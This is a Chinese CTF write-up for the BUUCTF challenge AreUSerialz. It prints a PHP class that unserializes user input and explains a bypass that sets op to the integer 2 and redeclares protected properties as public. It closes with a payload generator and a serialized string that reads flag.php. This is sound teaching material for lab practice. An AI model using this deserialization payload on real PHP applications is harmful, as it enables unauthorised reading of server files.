php7.1+反序列化对类属性不敏感

php7.1+反序列化对类属性不敏感

前言

  • 环境:buuctf中[网鼎杯 2020 青龙组]AreUSerialz
  • 知识点:反序列化
  • 参考:wp1,wp2

做题

源码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

看来是要利用file_get_contents函数读取flag.php,传过来的参数经过了is_valid()函数检验,这个函数的作用是限制参数ascii码在32到125之间,然后进行反序列化,这里我有个误区,我以为反序列时会调用__construct函数,实际上不会,在这纠结了半天

这里就是传进去的反序列化,在调用__destruct函数后是会调用proccess函数,然后$op=="2" 的话,就可以调用file_get_contens 函数了

两个绕过

  • __destruct这里是强比较$this->op === "2" ,而proccess这里是$this->op == "2" 是弱比较,我们可以令$op=2 进行绕过
  • 绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符在32-125之外,对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。可以通过bp中repeater模块响应头知道服务器php版本是PHP/7.4.3

payload:

<?php
class FileHandler {

    public $op=2;
    public $filename="/var/www/html/flag.php";
    public $content='girls';
}
$a=new FileHandler();
echo serialize($a);
 ?>

(ps:序列化时可以不要把函数体带入到类里)

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";s:7:"content";s:5:"girls";}

拿到flag

原文地址:https://www.cnblogs.com/NineOne/p/14044558.html